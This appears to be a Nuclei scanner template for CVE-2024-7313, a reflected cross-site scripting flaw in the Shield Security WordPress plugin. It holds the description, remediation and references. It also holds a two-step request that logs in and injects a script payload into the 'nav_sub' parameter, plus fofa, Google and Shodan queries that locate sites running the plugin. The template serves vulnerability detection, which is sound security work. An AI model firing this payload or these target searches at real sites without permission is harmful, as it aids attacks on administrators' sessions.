The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.
PoC代码[已公开]
id: CVE-2024-7313
info:
name: Shield Security Plugin < 20.0.6 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.
remediation: |
Update the Shield Security plugin to version 20.0.6 or later.
reference:
- https://wpscan.com/vulnerability/83a1bdc6-098e-43d5-89e5-f4202ecd78a1/
- https://research.cleantalk.org/CVE-2024-7313/
- https://nvd.nist.gov/vuln/detail/CVE-2024-7313
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-7313
cwe-id: CWE-79
epss-score: 0.30895
epss-percentile: 0.96593
metadata:
verified: true
max-request: 2
fofa-query: body="wp-content/plugins/wp-simple-firewall/"
google-query: inurl:"/wp-content/plugins/wp-simple-firewall/"
shodan-query: 'wp-content/plugins/wp-simple-firewall/'
tags: cve,cve2024,wp,wordpress,xss,wp-plugin,authenticated,wp-simple-firewall
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=<script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<script>alert(document.domain)</script>"
- "Unavailable nav handling:"
condition: and
- type: word
part: header_2
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402200bad306f71c456511ef0319ca78355b0560385186741ab6658b36d54e7861f9a0220242a116f4fb2b316408634ecbe5598c87901879453521b396ec440303f011b07:922c64590222798bb761d5b6d8e72950